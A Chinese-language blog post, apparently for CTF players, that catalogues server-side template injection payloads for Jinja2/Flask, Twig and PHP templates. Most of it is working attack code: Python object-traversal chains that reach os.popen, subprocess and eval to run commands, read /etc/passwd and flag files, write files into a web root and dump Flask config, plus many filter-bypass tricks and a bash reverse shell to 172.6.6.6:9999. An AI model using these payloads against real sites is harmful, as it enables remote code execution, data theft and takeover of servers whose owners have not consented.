SSTI模板注入总结

SSTI模板注入

一.基础学习

原理:获取一个输入,然后再后端的渲染处理上进行语句的拼接,然后执行。(即典型漏洞存在于框架中的渲染函数生成html时)
典型针对网站模板引擎:
Python的jinja2 mako tornado django flask
Python的jinja2 mako tornado django flask
模板引擎:即引擎中具有一套生成html的程序,只需获取用户的数据,然后放在渲染函数中即可生成一个前端的html页面
识别是什么类型的模板思路–>利用{{7*‘7’}}字段去代 根据回显的内容去判断
在这里插入图片描述
几种常见框架的执行payload思路
Twig框架的思路执行命令

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

常见模板

jinja2–>3个语言含义

控制结构 {% %}
变量取值 {{ }}
注释 {# #}

python

基础类执行

__class__返回调用的参数类型。
__base__返回基类
__mro__允许我们在当前Python环境下追溯继承树
__subclasses__()返回子类

常见的基础调用类函数执行

>>> ''.__class__.__base__.__subclasses__()
# 返回子类的列表 [,,,...]
#从中随便选一个类,查看它的__init__
>>> ''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>
# wrapper是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性
#再换几个子类,很快就能找到一个重载过__init__的类,比如
>>> ''.__class__.__base__.__subclasses__()[5].__init__
>>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
#然后用eval执行命令即可

分析学习:
常用方法

1.获取基类

//获取基本类
```bash
{{[].__class__}}

在这里插入图片描述

页面回显 <type ‘list’>

‘’.class.mro[1]
{}.class.bases[0]
().class.bases[0]
[].class.bases[0]
页面回显 <type ‘object’>

2.获取所有继承自object的类与权限配置文件类

1.)获取所有类

''.__class__.__mro__[2].__subclasses__()

2.)获取config对象与request对象类

{{url_for.__globals__}}
进一步获取内容
/{{url_for.__globals__['current_app'].config}}
{{config}}#即查看权限
{{ config.SQLALCHEMY_DATABASE_URI }}

url请求的配置文件类

{{ request.url }}
属性说明类型
data记录请求的数据,并转换为字符串*
form记录请求中的表单数据MultiDict
args记录请求中的查询参数MultiDict
cookies记录请求中的cookie信息Dict
headers记录请求中的报文头EnvironHeaders
method记录请求使用的HTTP方法GET/POST
url记录请求的URL地址string
files记录请求上传的文件*

3.寻找可利用类的位置

利用代码寻找

#!/usr/bin/python3
# coding=utf-8
# python 3.5
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
    for attr in searchList:
        if hasattr(i, attr):
            if eval('str(i.'+attr+')[1:9]') == 'function':
                for goal in neededFunction:
                    if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
                        if pay != 1:
                            print(i.__name__,":", attr, goal)
                        else:
                            print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")
#如找subprocess.Popen模块所在位置
import requests
import time
import html

for i in range(1, 500):
    url = "http://51d49043-d919-40c5-a17a-ae90387c6a3e.node3.buuoj.cn/?search={{''.__class__.__mro__[2].__subclasses__()["+str(i)+"]}}"
    req = requests.get(url)
    time.sleep(0.1)
    # 这里是找subprocess.Popen
    if "subprocess.Popen" in html.escape(req.text):
        print(i)
        print(html.unescape(req.text))
        break

找os

#!/usr/bin/env python
# encoding: utf-8

num = 0
for item in ''.__class__.__mro__[2].__subclasses__():
    try:
         if 'os' in item.__init__.__globals__:
             print num,item
         num+=1
    except:
        print '-'
        num+=1


即下面调用site._Printer模块即使用71这个位置
在这里插入图片描述

import re
string = '''(回显中所有类)'''
    
ClassList = re.split(",", string)

for i in range(0, len(ClassList)):
    print(i, ClassList[i])
    if 'os._wrap_close' in ClassList[i]:
        print(i)
        break

4.利用调用执行命令

python2
1.)读取文件类,<type ‘file’>
file位置一般为40,直接调用

[].__class__.__base__.__subclasses__()[40]('fl4g').read()#fl4g为文件名称

2.)<class ‘site._Printer’>
调用os的popen执行命令

{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()
[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()

如果system被过滤,用os的listdir读取目录+file模块读取文件:

().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')

3.)<class ‘subprocess.Popen’>
位置一般为258

{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

4.)<class ‘warnings.catch_warnings’>
一般位置为59,可以用它来调用file、os、eval、commands等

#调用file
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()      #把 read() 改为 write() 就是写文件
#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()
#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

#调用eval
[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")
#调用system方法
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
root
0
#调用commands进行命令执行
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')

python3

#读取文件与写文件类
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}
#执行命令
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

二.payload总结

常见payload

三.常见绕过

1.waf绕过payload

甩几个test payload
有时候看不到回显。可以在源代码里看到回显
即利用eval,impoer等全局函数
[].class.bases[0].subclasses()[59].init.globals.__builtins__下有eval,__import__等全局函数执行命令

python2:
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/172.6.6.6/9999 0>&1"')

python3:
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('__global'+'s__')['os'].__dict__['system']('ls')

2.单个绕过类

①绕过字符与典型函数类
1.)过滤[]

#绕过方法1:__getitem__绕中括号限制
#即将mro_[2]等价于__getitem__(2)即可
''.__class__.__mro__.__getitem__(2)<-> 等价于''.__class__.__mro__[2]
    {}.__class__.__bases__.__getitem__(0)<->等价于{}.__class__.__bases__.__getitem__(0)
    ().__class__.__bases__.__getitem__(0)<->().__class__.__bases__.__getitem__(0)
    request.__class__.__mro__.__getitem__(8)<->request.__class__.__mro__.__getitem__(8)
#绕过方法2:利用pop(40)绕
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
#使用 .getlist()方法绕
blacklist = ["__","request[request.","__class__",'[',']']
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

2.)过滤_

    blacklist = ["_"]
    #绕过方法利用request.args.<param>绕
/?exploit={{request[request.args.pa]}}&pa=**class**

3.)过滤’request[request.’

blacklist = ["__","request[request."]
#绕过方法:
request | attr(request.args.a)等价于request["a"]
#利用payload
?exploit={{request|attr(request.args.pa)}}&pa=**class**

4.)过滤_class_

blacklist = ["__","request[request.","__class__"]
#绕过方法:管道+join方法,可以进行字符串的拼接操作
["a","b","c"]|join等价于abc.
exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
即等价于
{{__class__}}

5.)绕过"|join"

blacklist = ["__","request[request.","__class__",'[',']',"|join"]
/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

6.)绕过.方法

#若.也被过滤,使用原生jinja2函数|attr()
request.__class__<-->request|attr("__class__")

7.)绕{{

#方法:{% if ... %}1{% endif %}
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('') %}1{% endif %}

②过滤关键字类

绕过滤config、request以及class
1.)拼接绕

{{ session['__cla'+'ss__'] }}<-->{{session['__class__']}}

2.)利用__enter__方法绕(python3中)

{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[256].__enter__.__globals__['po'+'pen']('cat /etc/passwd').read() }}

典型绕过思路

二 .绕组合

1.)绕’ “” _
利用request.args.x绕__过滤
利用request.args.x绕""

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
?x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__
&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('cat+/flag').read() HTTP/1.1
X-Forwarded-For:{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(174)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}

2.)同时绕下划线、与中括号

#同时
{{()|attr(request.values.name1)|attr(request.values.name2)|attr(request.values.name3)()|attr(request.values.name4)(40)('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')|attr(request.values.name5)()}}
post:
name1=__class__&name2=__base__&name3=__subclasses__&name4=pop&name5=read

三.特殊读取文件姿势

读取配置文件

{{url_for.__globals__['current_app'].config.FLAG}}

{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
#利用self姿势
{{self}}<TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config
{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}

四.典型ctf题目与工具

header处ssti
2018护网杯

思路:读取配置文件代类思路

MiniLCTF_2020,x-forward-for处ssti
一篇不错的flask分析文章
常用工具
SSTI神器–Tplmap
php ssti导致的getshell

模板注入思路

echo${phpinfo()};  #php模板渲染的一些特殊思路
{="${phpinfo()}"}等同于echo “${phpinfo()};#思路
{="${`cat /flag >8.txt`}"}#配合``短思路去代
  • 2
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

goddemon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值